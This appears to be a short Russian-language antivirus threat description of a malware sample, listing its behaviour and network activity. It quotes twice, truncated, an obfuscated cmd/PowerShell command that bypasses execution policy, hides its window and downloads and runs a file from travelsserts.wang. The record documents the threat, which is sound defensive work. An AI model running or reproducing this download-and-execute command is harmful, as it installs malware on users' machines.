Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://travelsserts.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pOwERShelL.EX^E -^e^XEC^utioN^pO^LIc^y ^ByPAsS ^-N^oPRoFILE ^-W^iN^d^o^W^s^tyle ^H^Idde^N^ (^n^Ew-o^BJ^Ec^T^ sys^TeM^.NE^t^.W^eb^Cl^IEn^t)^.dOWNlOad^F^I^LE^('http://trav...
Сетевая активность
UDP
- DNS ASK tr####sserts.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pOwERShelL.EX^E -^e^XEC^utioN^pO^LIc^y ^ByPAsS ^-N^oPRoFILE ^-W^iN^d^o^W^s^tyle ^H^Idde^N^ (^n^Ew-o^BJ^Ec^T^ sys^TeM^.NE^t^.W^eb^Cl^IEn^t)^.dOWNlOad^F^I^LE^('http://trav...' (со скрытым окном)
